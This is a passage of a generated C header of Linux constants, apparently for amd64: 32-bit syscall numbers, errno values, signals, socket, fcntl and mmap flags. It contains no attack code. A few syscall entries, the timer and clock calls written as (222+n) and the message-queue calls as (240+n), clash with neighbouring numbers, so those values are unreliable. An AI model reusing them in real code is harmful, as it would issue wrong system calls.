SYS32_ftruncate 93 #define SYS32_fchmod 94 #define SYS32_fchown 95 #define SYS32_getpriority 96 #define SYS32_setpriority 97 #define SYS32_profil 98 #define SYS32_statfs 99 #define SYS32_fstatfs 100 #define SYS32_ioperm 101 #define SYS32_socketcall 102 #define SYS32_syslog 103 #define SYS32_setitimer 104 #define SYS32_getitimer 105 #define SYS32_stat 106 #define SYS32_lstat 107 #define SYS32_fstat 108 #define SYS32_olduname 109 #define SYS32_iopl 110 #define SYS32_vhangup 111 #define SYS32_idle 112 #define SYS32_vm86old 113 #define SYS32_wait4 114 #define SYS32_swapoff 115 #define SYS32_sysinfo 116 #define SYS32_ipc 117 #define SYS32_fsync 118 #define SYS32_sigreturn 119 #define SYS32_clone 120 #define SYS32_setdomainname 121 #define SYS32_uname 122 #define SYS32_modify_ldt 123 #define SYS32_adjtimex 124 #define SYS32_mprotect 125 #define SYS32_sigprocmask 126 #define SYS32_create_module 127 #define SYS32_init_module 128 #define SYS32_delete_module 129 #define SYS32_get_kernel_syms 130 #define SYS32_quotactl 131 #define SYS32_getpgid 132 #define SYS32_fchdir 133 #define SYS32_bdflush 134 #define SYS32_sysfs 135 #define SYS32_personality 136 #define SYS32_afs_syscall 137 #define SYS32_setfsuid 138 #define SYS32_setfsgid 139 #define SYS32__llseek 140 #define SYS32_getdents 141 #define SYS32__newselect 142 #define SYS32_flock 143 #define SYS32_msync 144 #define SYS32_readv 145 #define SYS32_writev 146 #define SYS32_getsid 147 #define SYS32_fdatasync 148 #define SYS32__sysctl 149 #define SYS32_mlock 150 #define SYS32_munlock 151 #define SYS32_mlockall 152 #define SYS32_munlockall 153 #define SYS32_sched_setparam 154 #define SYS32_sched_getparam 155 #define SYS32_sched_setscheduler 156 #define SYS32_sched_getscheduler 157 #define SYS32_sched_yield 158 #define SYS32_sched_get_priority_max 159 #define SYS32_sched_get_priority_min 160 #define SYS32_sched_rr_get_interval 161 #define SYS32_nanosleep 162 #define SYS32_mremap 163 #define SYS32_setresuid 164 #define SYS32_getresuid 165 #define SYS32_vm86 166 #define SYS32_query_module 167 #define SYS32_poll 168 #define SYS32_nfsservctl 169 #define SYS32_setresgid 170 #define SYS32_getresgid 171 #define SYS32_prctl 172 #define SYS32_rt_sigreturn 173 #define SYS32_rt_sigaction 174 #define SYS32_rt_sigprocmask 175 #define SYS32_rt_sigpending 176 #define SYS32_rt_sigtimedwait 177 #define SYS32_rt_sigqueueinfo 178 #define SYS32_rt_sigsuspend 179 #define SYS32_pread64 180 #define SYS32_pwrite64 181 #define SYS32_chown 182 #define SYS32_getcwd 183 #define SYS32_capget 184 #define SYS32_capset 185 #define SYS32_sigaltstack 186 #define SYS32_sendfile 187 #define SYS32_getpmsg 188 #define SYS32_putpmsg 189 #define SYS32_vfork 190 #define SYS32_ugetrlimit 191 #define SYS32_mmap2 192 #define SYS32_truncate64 193 #define SYS32_ftruncate64 194 #define SYS32_stat64 195 #define SYS32_lstat64 196 #define SYS32_fstat64 197 #define SYS32_lchown32 198 #define SYS32_getuid32 199 #define SYS32_getgid32 200 #define SYS32_geteuid32 201 #define SYS32_getegid32 202 #define SYS32_setreuid32 203 #define SYS32_setregid32 204 #define SYS32_getgroups32 205 #define SYS32_setgroups32 206 #define SYS32_fchown32 207 #define SYS32_setresuid32 208 #define SYS32_getresuid32 209 #define SYS32_setresgid32 210 #define SYS32_getresgid32 211 #define SYS32_chown32 212 #define SYS32_setuid32 213 #define SYS32_setgid32 214 #define SYS32_setfsuid32 215 #define SYS32_setfsgid32 216 #define SYS32_pivot_root 217 #define SYS32_mincore 218 #define SYS32_madvise 219 #define SYS32_madvise1 219 #define SYS32_getdents64 220 #define SYS32_fcntl64 221 #define SYS32_gettid 224 #define SYS32_readahead 225 #define SYS32_setxattr 226 #define SYS32_lsetxattr 227 #define SYS32_fsetxattr 228 #define SYS32_getxattr 229 #define SYS32_lgetxattr 230 #define SYS32_fgetxattr 231 #define SYS32_listxattr 232 #define SYS32_llistxattr 233 #define SYS32_flistxattr 234 #define SYS32_removexattr 235 #define SYS32_lremovexattr 236 #define SYS32_fremovexattr 237 #define SYS32_tkill 238 #define SYS32_sendfile64 239 #define SYS32_futex 240 #define SYS32_sched_setaffinity 241 #define SYS32_sched_getaffinity 242 #define SYS32_set_thread_area 243 #define SYS32_get_thread_area 244 #define SYS32_io_setup 245 #define SYS32_io_destroy 246 #define SYS32_io_getevents 247 #define SYS32_io_submit 248 #define SYS32_io_cancel 249 #define SYS32_fadvise64 250 #define SYS32_exit_group 252 #define SYS32_lookup_dcookie 253 #define SYS32_epoll_create 254 #define SYS32_epoll_ctl 255 #define SYS32_epoll_wait 256 #define SYS32_remap_file_pages 257 #define SYS32_set_tid_address 258 #define SYS32_timer_create 259 #define SYS32_timer_settime (222+1) #define SYS32_timer_gettime (222+2) #define SYS32_timer_getoverrun (222+3) #define SYS32_timer_delete (222+4) #define SYS32_clock_settime (222+5) #define SYS32_clock_gettime (222+6) #define SYS32_clock_getres (222+7) #define SYS32_clock_nanosleep (222+8) #define SYS32_statfs64 268 #define SYS32_fstatfs64 269 #define SYS32_tgkill 270 #define SYS32_utimes 271 #define SYS32_fadvise64_64 272 #define SYS32_vserver 273 #define SYS32_mbind 274 #define SYS32_get_mempolicy 275 #define SYS32_set_mempolicy 276 #define SYS32_mq_open 277 #define SYS32_mq_unlink (240+1) #define SYS32_mq_timedsend (240+2) #define SYS32_mq_timedreceive (240+3) #define SYS32_mq_notify (240+4) #define SYS32_mq_getsetattr (240+5) #define SYS32_kexec_load 283 #define SYS32_waitid 284 #define SYS32_add_key 286 #define SYS32_request_key 287 #define SYS32_keyctl 288 #define SYS32_ioprio_set 289 #define SYS32_ioprio_get 290 #define SYS32_inotify_init 291 #define SYS32_inotify_add_watch 292 #define SYS32_inotify_rm_watch 293 #define SYS32_migrate_pages 294 #define SYS32_openat 295 #define SYS32_mkdirat 296 #define SYS32_mknodat 297 #define SYS32_fchownat 298 #define SYS32_futimesat 299 #define SYS32_fstatat64 300 #define SYS32_unlinkat 301 #define SYS32_renameat 302 #define SYS32_linkat 303 #define SYS32_symlinkat 304 #define SYS32_readlinkat 305 #define SYS32_fchmodat 306 #define SYS32_faccessat 307 #define SYS32_pselect6 308 #define SYS32_ppoll 309 #define SYS32_unshare 310 #define SYS32_set_robust_list 311 #define SYS32_get_robust_list 312 #define SYS32_splice 313 #define SYS32_sync_file_range 314 #define SYS32_tee 315 #define SYS32_vmsplice 316 #define SYS32_move_pages 317 #define SYS32_getcpu 318 #define SYS32_epoll_pwait 319 #define SYS32_utimensat 320 #define SYS32_signalfd 321 #define SYS32_timerfd_create 322 #define SYS32_eventfd 323 #define SYS32_fallocate 324 #define SYS32_timerfd_settime 325 #define SYS32_timerfd_gettime 326 #define SYS32_signalfd4 327 #define SYS32_eventfd2 328 #define SYS32_epoll_create1 329 #define SYS32_dup3 330 #define SYS32_pipe2 331 #define SYS32_inotify_init1 332 #define SYS32_preadv 333 #define SYS32_pwritev 334 #define SYS32_rt_tgsigqueueinfo 335 #define SYS32_perf_event_open 336 #define SYS32_recvmmsg 337 #define SYS32_fanotify_init 338 #define SYS32_fanotify_mark 339 #define SYS32_prlimit64 340 #define SYS32_name_to_handle_at 341 #define SYS32_open_by_handle_at 342 #define SYS32_clock_adjtime 343 #define SYS32_syncfs 344 #define SYS32_sendmmsg 345 #define SYS32_setns 346 #define SYS32_process_vm_readv 347 #define SYS32_process_vm_writev 348 #define MAP_32BIT 0x40 #define INADDR_ANY 0 #define INADDR_BROADCAST 0xffffffff #define INADDR_NONE 0xffffffff #define INADDR_LOOPBACK 0x7f000001 #define EPERM 1 #define ENOENT 2 #define ESRCH 3 #define EINTR 4 #define EIO 5 #define ENXIO 6 #define E2BIG 7 #define ENOEXEC 8 #define EBADF 9 #define ECHILD 10 #define EAGAIN 11 #define ENOMEM 12 #define EACCES 13 #define EFAULT 14 #define ENOTBLK 15 #define EBUSY 16 #define EEXIST 17 #define EXDEV 18 #define ENODEV 19 #define ENOTDIR 20 #define EISDIR 21 #define EINVAL 22 #define ENFILE 23 #define EMFILE 24 #define ENOTTY 25 #define ETXTBSY 26 #define EFBIG 27 #define ENOSPC 28 #define ESPIPE 29 #define EROFS 30 #define EMLINK 31 #define EPIPE 32 #define EDOM 33 #define ERANGE 34 #define EDEADLK 35 #define ENAMETOOLONG 36 #define ENOLCK 37 #define ENOSYS 38 #define ENOTEMPTY 39 #define ELOOP 40 #define EWOULDBLOCK 11 #define ENOMSG 42 #define EIDRM 43 #define ECHRNG 44 #define EL2NSYNC 45 #define EL3HLT 46 #define EL3RST 47 #define ELNRNG 48 #define EUNATCH 49 #define ENOCSI 50 #define EL2HLT 51 #define EBADE 52 #define EBADR 53 #define EXFULL 54 #define ENOANO 55 #define EBADRQC 56 #define EBADSLT 57 #define EDEADLOCK 35 #define EBFONT 59 #define ENOSTR 60 #define ENODATA 61 #define ETIME 62 #define ENOSR 63 #define ENONET 64 #define ENOPKG 65 #define EREMOTE 66 #define ENOLINK 67 #define EADV 68 #define ESRMNT 69 #define ECOMM 70 #define EPROTO 71 #define EMULTIHOP 72 #define EDOTDOT 73 #define EBADMSG 74 #define EOVERFLOW 75 #define ENOTUNIQ 76 #define EBADFD 77 #define EREMCHG 78 #define ELIBACC 79 #define ELIBBAD 80 #define ELIBSCN 81 #define ELIBMAX 82 #define ELIBEXEC 83 #define EILSEQ 84 #define ERESTART 85 #define ESTRPIPE 86 #define EUSERS 87 #define ENOTSOCK 88 #define EDESTADDRREQ 89 #define EMSGSIZE 90 #define EPROTOTYPE 91 #define ENOPROTOOPT 92 #define EPROTONOSUPPORT 93 #define ESOCKTNOSUPPORT 94 #define EOPNOTSUPP 95 #define ENOTSUP 95 #define EPFNOSUPPORT 96 #define EAFNOSUPPORT 97 #define EADDRINUSE 98 #define EADDRNOTAVAIL 99 #define ENETDOWN 100 #define ENETUNREACH 101 #define ENETRESET 102 #define ECONNABORTED 103 #define ECONNRESET 104 #define ENOBUFS 105 #define EISCONN 106 #define ENOTCONN 107 #define ESHUTDOWN 108 #define ETOOMANYREFS 109 #define ETIMEDOUT 110 #define ECONNREFUSED 111 #define EHOSTDOWN 112 #define EHOSTUNREACH 113 #define EALREADY 114 #define EINPROGRESS 115 #define ESTALE 116 #define EUCLEAN 117 #define ENOTNAM 118 #define ENAVAIL 119 #define EISNAM 120 #define EREMOTEIO 121 #define EDQUOT 122 #define ENOMEDIUM 123 #define EMEDIUMTYPE 124 #define ECANCELED 125 #define ENOKEY 126 #define EKEYEXPIRED 127 #define EKEYREVOKED 128 #define EKEYREJECTED 129 #define EOWNERDEAD 130 #define ENOTRECOVERABLE 131 #define ERFKILL 132 #define EHWPOISON 133 #define __SYS_NERR ((133) + 1) #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #define __BYTE_ORDER 1234 #define __FLOAT_WORD_ORDER 1234 #define LITTLE_ENDIAN 1234 #define BIG_ENDIAN 4321 #define BYTE_ORDER 1234 #define __WORDSIZE 64 #define __WORDSIZE_COMPAT32 1 #define __UNALIGNED_MEMORY_ACCESS_OK 1 #define INT8_MAX (127) #define INT16_MAX (32767) #define INT32_MAX (2147483647) #define INT64_MAX (9223372036854775807) #define INT8_MIN (-1 - (127)) #define INT16_MIN (-1 - (32767)) #define INT32_MIN (-1 - (2147483647)) #define INT64_MIN (-1 - (9223372036854775807)) #define INT_LEAST8_MAX (127) #define INT_LEAST8_MIN (-1 - (127)) #define INT_LEAST16_MAX (32767) #define INT_LEAST16_MIN (-1 - (32767)) #define INT_LEAST32_MAX (2147483647) #define INT_LEAST32_MIN (-1 - (2147483647)) #define INT_LEAST64_MAX (9223372036854775807) #define INT_LEAST64_MIN (-1 - (9223372036854775807)) #define UINT8_MAX 0xff #define UINT16_MAX 0xffff #define UINT32_MAX 0xffffffff #define UINT64_MAX 0xffffffffffffffff #define UINT_LEAST8_MAX 0xff #define UINT_LEAST16_MAX 0xffff #define UINT_LEAST32_MAX 0xffffffff #define UINT_LEAST64_MAX 0xffffffffffffffff #define INTPTR_MIN (-1 - (9223372036854775807)) #define INTPTR_MAX (9223372036854775807) #define UINTPTR_MAX 0xffffffffffffffff #define SIZE_MAX 0xffffffffffffffff #define PTRDIFF_MIN (-1 - (9223372036854775807)) #define PTRDIFF_MAX (9223372036854775807) #define INTMAX_MIN (-1 - (9223372036854775807)) #define INTMAX_MAX (9223372036854775807) #define UINTMAX_MAX 0xffffffffffffffff #define INT_FAST8_MIN (-1 - (127)) #define INT_FAST8_MAX (127) #define INT_FAST64_MIN (-1 - (9223372036854775807)) #define INT_FAST64_MAX (9223372036854775807) #define UINT_FAST8_MAX 0xff #define UINT_FAST64_MAX 0xffffffffffffffff #define INT_FAST16_MIN (-1 - (9223372036854775807)) #define INT_FAST16_MAX (9223372036854775807) #define UINT_FAST16_MAX 0xffffffffffffffff #define INT_FAST32_MIN (-1 - (9223372036854775807)) #define INT_FAST32_MAX (9223372036854775807) #define UINT_FAST32_MAX 0xffffffffffffffff #define WINT_MIN 0 #define __FSUID_H 1 #define NSIG 32 #define _NSIG 65 #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGIOT 6 #define SIGFPE 8 #define SIGKILL 9 #define SIGSEGV 11 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGUNUSED 31 #define SIGBUS 7 #define SIGUSR1 10 #define SIGUSR2 12 #define SIGSTKFLT 16 #define SIGCHLD 17 #define SIGCONT 18 #define SIGSTOP 19 #define SIGTSTP 20 #define SIGTTIN 21 #define SIGTTOU 22 #define SIGURG 23 #define SIGXCPU 24 #define SIGXFSZ 25 #define SIGVTALRM 26 #define SIGPROF 27 #define SIGWINCH 28 #define SIGIO 29 #define SIGPWR 30 #define SIGSYS 31 #define SIGCLD 17 #define SIGPOLL 29 #define SIGLOST 30 #define SIGRTMIN 32 #define SIGRTMAX (65-1) #define SA_NOCLDSTOP 0x00000001 #define SA_NOCLDWAIT 0x00000002 #define SA_SIGINFO 0x00000004 #define SA_RESTORER 0x04000000 #define SA_ONSTACK 0x08000000 #define SA_RESTART 0x10000000 #define SA_INTERRUPT 0x20000000 #define SA_NODEFER 0x40000000 #define SA_RESETHAND 0x80000000 #define SA_NOMASK 0x40000000 #define SA_ONESHOT 0x80000000 #define SS_ONSTACK 1 #define SS_DISABLE 2 #define MINSIGSTKSZ 2048 #define SIGSTKSZ 8192 #define SIG_BLOCK 0 #define SIG_UNBLOCK 1 #define SIG_SETMASK 2 #define SI_MAX_SIZE 128 #define SIGEV_SIGNAL 0 #define SIGEV_NONE 1 #define SIGEV_THREAD 2 #define SIGEV_THREAD_ID 4 #define SIGEV_MAX_SIZE 64 #define _SYS_TIME_H 1 #define ITIMER_REAL 0 #define ITIMER_VIRTUAL 1 #define ITIMER_PROF 2 #define FD_SETSIZE 1024 #define R_OK 4 #define W_OK 2 #define X_OK 1 #define F_OK 0 #define SEEK_SET 0 #define SEEK_CUR 1 #define SEEK_END 2 #define STDIN_FILENO 0 #define STDOUT_FILENO 1 #define STDERR_FILENO 2 #define _CS_PATH 1 #define _SC_CLK_TCK 1 #define _SC_ARG_MAX 2 #define _SC_NGROUPS_MAX 3 #define _SC_OPEN_MAX 4 #define _SC_PAGESIZE 5 #define _SC_NPROCESSORS_ONLN 6 #define _SC_NPROCESSORS_CONF 6 #define _SC_PHYS_PAGES 7 #define _SC_GETPW_R_SIZE_MAX 8 #define _SC_GETGR_R_SIZE_MAX 9 #define _PC_PATH_MAX 1 #define _PC_VDISABLE 2 #define L_cuserid 17 #define _POSIX_VERSION 199506 #define F_ULOCK 0 #define F_LOCK 1 #define F_TLOCK 2 #define F_TEST 3 #define _POSIX_MAPPED_FILES 200809 #define S_IFMT 0xf000 #define S_IFSOCK 0xc000 #define S_IFLNK 0xa000 #define S_IFREG 0x8000 #define S_IFBLK 0x6000 #define S_IFDIR 0x4000 #define S_IFCHR 0x2000 #define S_IFIFO 0x1000 #define S_ISUID 0x800 #define S_ISGID 0x400 #define S_ISVTX 0x200 #define S_IRWXU 0x1c0 #define S_IRUSR 0x100 #define S_IWUSR 0x80 #define S_IXUSR 0x40 #define S_IRWXG 0x38 #define S_IRGRP 0x20 #define S_IWGRP 0x10 #define S_IXGRP 0x8 #define S_IRWXO 0x7 #define S_IROTH 0x4 #define S_IWOTH 0x2 #define S_IXOTH 0x1 #define S_IREAD 0x100 #define S_IWRITE 0x80 #define S_IEXEC 0x40 #define _SYS_UIO 1 #define SOL_SOCKET 1 #define SO_DEBUG 1 #define SO_REUSEADDR 2 #define SO_TYPE 3 #define SO_ERROR 4 #define SO_DONTROUTE 5 #define SO_BROADCAST 6 #define SO_SNDBUF 7 #define SO_RCVBUF 8 #define SO_KEEPALIVE 9 #define SO_OOBINLINE 10 #define SO_NO_CHECK 11 #define SO_PRIORITY 12 #define SO_LINGER 13 #define SO_BSDCOMPAT 14 #define SO_REUSEPORT 15 #define SO_PASSCRED 16 #define SO_PEERCRED 17 #define SO_RCVLOWAT 18 #define SO_SNDLOWAT 19 #define SO_RCVTIMEO 20 #define SO_SNDTIMEO 21 #define SO_SECURITY_AUTHENTICATION 22 #define SO_SECURITY_ENCRYPTION_TRANSPORT 23 #define SO_SECURITY_ENCRYPTION_NETWORK 24 #define SO_BINDTODEVICE 25 #define SO_ATTACH_FILTER 26 #define SO_DETACH_FILTER 27 #define SO_GET_FILTER 26 #define SO_PEERNAME 28 #define SO_TIMESTAMP 29 #define SCM_TIMESTAMP 29 #define SO_ACCEPTCONN 30 #define SO_PEERSEC 31 #define SO_SNDBUFFORCE 32 #define SO_RCVBUFFORCE 33 #define SO_PASSSEC 34 #define SO_TIMESTAMPNS 35 #define SCM_TIMESTAMPNS 35 #define SO_MARK 36 #define SO_TIMESTAMPING 37 #define SCM_TIMESTAMPING 37 #define SO_PROTOCOL 38 #define SO_DOMAIN 39 #define SO_RXQ_OVFL 40 #define SO_WIFI_STATUS 41 #define SCM_WIFI_STATUS 41 #define SO_PEEK_OFF 42 #define SO_NOFCS 43 #define SO_LOCK_FILTER 44 #define SO_SELECT_ERR_QUEUE 45 #define SO_BUSY_POLL 46 #define SO_MAX_PACING_RATE 47 #define SO_BPF_EXTENSIONS 48 #define SO_INCOMING_CPU 49 #define SO_ATTACH_BPF 50 #define SO_DETACH_BPF 27 #define SO_ATTACH_REUSEPORT_CBPF 51 #define SO_ATTACH_REUSEPORT_EBPF 52 #define SO_CNX_ADVICE 53 #define SCM_TIMESTAMPING_OPT_STATS 54 #define SO_MEMINFO 55 #define SO_INCOMING_NAPI_ID 56 #define SO_COOKIE 57 #define SCM_TIMESTAMPING_PKTINFO 58 #define SO_PEERGROUPS 59 #define SO_ZEROCOPY 60 #define SOCK_STREAM 1 #define SOCK_DGRAM 2 #define SOCK_RAW 3 #define SOCK_RDM 4 #define SOCK_SEQPACKET 5 #define SOCK_DCCP 6 #define SOCK_PACKET 10 #define UIO_FASTIOV 8 #define UIO_MAXIOV 1024 #define SCM_RIGHTS 0x01 #define SCM_CREDENTIALS 0x02 #define SCM_CONNECT 0x03 #define AF_UNSPEC 0 #define AF_UNIX 1 #define AF_LOCAL 1 #define AF_INET 2 #define AF_AX25 3 #define AF_IPX 4 #define AF_APPLETALK 5 #define AF_NETROM 6 #define AF_BRIDGE 7 #define AF_ATMPVC 8 #define AF_X25 9 #define AF_INET6 10 #define AF_ROSE 11 #define AF_DECnet 12 #define AF_NETBEUI 13 #define AF_SECURITY 14 #define AF_KEY 15 #define AF_NETLINK 16 #define AF_ROUTE 16 #define AF_PACKET 17 #define AF_ASH 18 #define AF_ECONET 19 #define AF_ATMSVC 20 #define AF_SNA 22 #define AF_IRDA 23 #define AF_PPPOX 24 #define AF_WANPIPE 25 #define AF_LLC 26 #define AF_IB 27 #define AF_MPLS 28 #define AF_CAN 29 #define AF_TIPC 30 #define AF_BLUETOOTH 31 #define AF_IUCV 32 #define AF_RXRPC 33 #define AF_ISDN 34 #define AF_PHONET 35 #define AF_IEEE802154 36 #define AF_CAIF 37 #define AF_ALG 38 #define AF_NFC 39 #define AF_VSOCK 40 #define AF_KCM 41 #define AF_QIPCRTR 42 #define AF_SMC 43 #define AF_MAX 44 #define PF_UNSPEC 0 #define PF_UNIX 1 #define PF_LOCAL 1 #define PF_INET 2 #define PF_AX25 3 #define PF_IPX 4 #define PF_APPLETALK 5 #define PF_NETROM 6 #define PF_BRIDGE 7 #define PF_ATMPVC 8 #define PF_X25 9 #define PF_INET6 10 #define PF_ROSE 11 #define PF_DECnet 12 #define PF_NETBEUI 13 #define PF_SECURITY 14 #define PF_KEY 15 #define PF_NETLINK 16 #define PF_ROUTE 16 #define PF_PACKET 17 #define PF_ASH 18 #define PF_ECONET 19 #define PF_ATMSVC 20 #define PF_SNA 22 #define PF_IRDA 23 #define PF_PPPOX 24 #define PF_WANPIPE 25 #define PF_LLC 26 #define PF_IB 27 #define PF_MPLS 28 #define PF_CAN 29 #define PF_TIPC 30 #define PF_BLUETOOTH 31 #define PF_IUCV 32 #define PF_RXRPC 33 #define PF_ISDN 34 #define PF_PHONET 35 #define PF_IEEE802154 36 #define PF_CAIF 37 #define PF_ALG 38 #define PF_NFC 39 #define PF_VSOCK 40 #define PF_KCM 41 #define PF_QIPCRTR 42 #define PF_SMC 43 #define PF_MAX 44 #define SOMAXCONN 128 #define MSG_OOB 1 #define MSG_PEEK 2 #define MSG_DONTROUTE 4 #define MSG_TRYHARD 4 #define MSG_CTRUNC 8 #define MSG_PROBE 0x10 #define MSG_TRUNC 0x20 #define MSG_DONTWAIT 0x40 #define MSG_EOR 0x80 #define MSG_WAITALL 0x100 #define MSG_FIN 0x200 #define MSG_SYN 0x400 #define MSG_CONFIRM 0x800 #define MSG_RST 0x1000 #define MSG_ERRQUEUE 0x2000 #define MSG_NOSIGNAL 0x4000 #define MSG_MORE 0x8000 #define MSG_WAITFORONE 0x10000 #define MSG_SENDPAGE_NOTLAST 0x20000 #define MSG_BATCH 0x40000 #define MSG_EOF 0x200 #define MSG_ZEROCOPY 0x4000000 #define MSG_FASTOPEN 0x20000000 #define MSG_CMSG_CLOEXEC 0x40000000 #define SOL_IP 0 #define SOL_TCP 6 #define SOL_UDP 17 #define SOL_IPV6 41 #define SOL_ICMPV6 58 #define SOL_SCTP 132 #define SOL_UDPLITE 136 #define SOL_RAW 255 #define SOL_IPX 256 #define SOL_AX25 257 #define SOL_ATALK 258 #define SOL_NETROM 259 #define SOL_ROSE 260 #define SOL_DECNET 261 #define SOL_X25 262 #define SOL_PACKET 263 #define SOL_ATM 264 #define SOL_AAL 265 #define SOL_IRDA 266 #define SOL_NETBEUI 267 #define SOL_LLC 268 #define SOL_DCCP 269 #define SOL_NETLINK 270 #define SOL_TIPC 271 #define SOL_RXRPC 272 #define SOL_PPPOL2TP 273 #define SOL_BLUETOOTH 274 #define SOL_PNPIPE 275 #define SOL_RDS 276 #define SOL_IUCV 277 #define SOL_CAIF 278 #define SOL_ALG 279 #define SOL_NFC 280 #define SOL_KCM 281 #define SOL_TLS 282 #define IPX_TYPE 1 #define SHUT_RD 0 #define SHUT_WR 1 #define SHUT_RDWR 2 #define NI_NOFQDN 1 #define NI_NUMERICHOST 2 #define NI_NAMEREQD 4 #define NI_NUMERICSERV 8 #define NI_DGRAM 16 #define EAI_FAMILY -1 #define EAI_SOCKTYPE -2 #define EAI_BADFLAGS -3 #define EAI_NONAME -4 #define EAI_SERVICE -5 #define EAI_ADDRFAMILY -6 #define EAI_NODATA -7 #define EAI_MEMORY -8 #define EAI_FAIL -9 #define EAI_AGAIN -10 #define EAI_SYSTEM -11 #define AI_NUMERICHOST 1 #define AI_CANONNAME 2 #define AI_PASSIVE 4 #define AI_NUMERICSERV 8 #define AI_ADDRCONFIG 16 #define AI_V4MAPPED 32 #define AI_ALL 64 #define SIOCADDRT 0x890B #define SIOCDELRT 0x890C #define SIOCRTMSG 0x890D #define SIOCGIFNAME 0x8910 #define SIOCSIFLINK 0x8911 #define SIOCGIFCONF 0x8912 #define SIOCGIFFLAGS 0x8913 #define SIOCSIFFLAGS 0x8914 #define SIOCGIFADDR 0x8915 #define SIOCSIFADDR 0x8916 #define SIOCGIFDSTADDR 0x8917 #define SIOCSIFDSTADDR 0x8918 #define SIOCGIFBRDADDR 0x8919 #define SIOCSIFBRDADDR 0x891a #define SIOCGIFNETMASK 0x891b #define SIOCSIFNETMASK 0x891c #define SIOCGIFMETRIC 0x891d #define SIOCSIFMETRIC 0x891e #define SIOCGIFMEM 0x891f #define SIOCSIFMEM 0x8920 #define SIOCGIFMTU 0x8921 #define SIOCSIFMTU 0x8922 #define SIOCSIFNAME 0x8923 #define SIOCSIFHWADDR 0x8924 #define SIOCGIFENCAP 0x8925 #define SIOCSIFENCAP 0x8926 #define SIOCGIFHWADDR 0x8927 #define SIOCGIFSLAVE 0x8929 #define SIOCSIFSLAVE 0x8930 #define SIOCADDMULTI 0x8931 #define SIOCDELMULTI 0x8932 #define SIOCGIFINDEX 0x8933 #define SIOGIFINDEX 0x8933 #define SIOCSIFPFLAGS 0x8934 #define SIOCGIFPFLAGS 0x8935 #define SIOCDIFADDR 0x8936 #define SIOCSIFHWBROADCAST 0x8937 #define SIOCGIFCOUNT 0x8938 #define SIOCGIFBR 0x8940 #define SIOCSIFBR 0x8941 #define SIOCGIFTXQLEN 0x8942 #define SIOCSIFTXQLEN 0x8943 #define SIOCGIFDIVERT 0x8944 #define SIOCSIFDIVERT 0x8945 #define SIOCETHTOOL 0x8946 #define SIOCDARP 0x8953 #define SIOCGARP 0x8954 #define SIOCSARP 0x8955 #define SIOCDRARP 0x8960 #define SIOCGRARP 0x8961 #define SIOCSRARP 0x8962 #define SIOCGIFMAP 0x8970 #define SIOCSIFMAP 0x8971 #define SIOCADDDLCI 0x8980 #define SIOCDELDLCI 0x8981 #define SIOCDEVPRIVATE 0x89F0 #define F_LINUX_SPECIFIC_BASE 1024 #define O_ACCMODE 0x3 #define O_RDONLY 0x0 #define O_WRONLY 0x1 #define O_RDWR 0x2 #define O_CREAT 0x40 #define O_EXCL 0x80 #define O_NOCTTY 0x100 #define O_TRUNC 0x200 #define O_APPEND 0x400 #define O_NONBLOCK 0x800 #define O_NDELAY 0x800 #define O_DSYNC 0x1000 #define FASYNC 0x2000 #define O_DIRECT 0x4000 #define O_LARGEFILE 0x8000 #define O_DIRECTORY 0x10000 #define O_NOFOLLOW 0x20000 #define O_NOATIME 0x40000 #define O_CLOEXEC 0x80000 #define O_SYNC 0x101000 #define O_PATH 0x200000 #define __O_TMPFILE 0x400000 #define F_DUPFD 0 #define F_GETFD 1 #define F_SETFD 2 #define F_GETFL 3 #define F_SETFL 4 #define F_GETLK 5 #define F_SETLK 6 #define F_SETLKW 7 #define F_SETOWN 8 #define F_GETOWN 9 #define F_SETSIG 10 #define F_GETSIG 11 #define F_GETLK64 12 #define F_SETLK64 13 #define F_SETLKW64 14 #define FD_CLOEXEC 1 #define F_RDLCK 0 #define F_WRLCK 1 #define F_UNLCK 2 #define F_EXLCK 4 #define F_SHLCK 8 #define F_INPROGRESS 16 #define LOCK_SH 1 #define LOCK_EX 2 #define LOCK_NB 4 #define LOCK_UN 8 #define LOCK_MAND 32 #define LOCK_READ 64 #define LOCK_WRITE 128 #define LOCK_RW 192 #define O_TMPFILE 0x410000 #define O_ASYNC 0x2000 #define F_SETOWN_EX 15 #define F_GETOWN_EX 16 #define F_GETOWNER_UIDS 17 #define F_OFD_GETLK 36 #define F_OFD_SETLK 37 #define F_OFD_SETLKW 38 #define F_OWNER_TID 0 #define F_OWNER_PID 1 #define F_OWNER_PGRP 2 #define AT_FDCWD -100 #define AT_SYMLINK_NOFOLLOW 0x100 #define AT_REMOVEDIR 0x200 #define AT_SYMLINK_FOLLOW 0x400 #define AT_NO_AUTOMOUNT 0x800 #define AT_EMPTY_PATH 0x1000 #define AT_EACCESS 0x200 #define MREMAP_MAYMOVE 1 #define MREMAP_FIXED 2 #define PROT_READ 0x1 #define PROT_WRITE 0x2 #define PROT_EXEC 0x4 #define PROT_SEM 0x8 #define PROT_NONE 0x0 #define PROT_GROWSDOWN 0x01000000 #define PROT_GROWSUP 0x02000000 #define MAP_SHARED 0x01 #define MAP_PRIVATE 0x02 #define MAP_TYPE 0xf #define MADV_REMOVE 9 #define MADV_DONTFORK 10 #define MADV_DOFORK 11 #define MADV_MERGEABLE 12 #define MADV_UNMERGEABLE 13 #define MADV_HUGEPAGE 14 #define MADV_NOHUGEPAGE 15 #define MADV_DONTDUMP 16 #define MADV_DODUMP 17 #define MADV_HWPOISON 100 #define MADV_SOFT_OFFLINE 101 #define MLOCK_ONFAULT 1 #define MAP_FIXED 0x10 #define MAP_ANONYMOUS 0x20 #define MAP_GROWSDOWN 0x0100 #define MAP_DENYWRITE 0x0800 #define MAP_EXECUTABLE 0x1000 #define MAP_LOCKED 0x2000 #define MAP_NORESERVE 0x4000 #define MAP_POPULATE 0x8000 #define MAP_NONBLOCK 0x10000 #define MAP_STACK 0x20000 #define MAP_HUGETLB 0x40000 #define MS_ASYNC 1 #define MS_INVALIDATE 2 #define MS_SYNC 4 #define MCL_CURRENT 1 #define MCL_FUTURE 2 #define MCL_ONFAULT 4 #define MADV_NORMAL 0x0 #define MADV_RANDOM 0x1 #define MADV_SEQUENTIAL 0x2 #define MADV_WILLNEED 0x3 #define MADV_DONTNEED 0x4 #define MAP_ANON 0x20 #define MAP_FILE 0 #define POSIX_MADV_NORMAL 0x0 #define POSIX_MADV_SEQUENTIAL 0x2 #define POSIX_MADV_RANDOM 0x1 #define POSIX_MADV_WILLNEED 0x3 #define 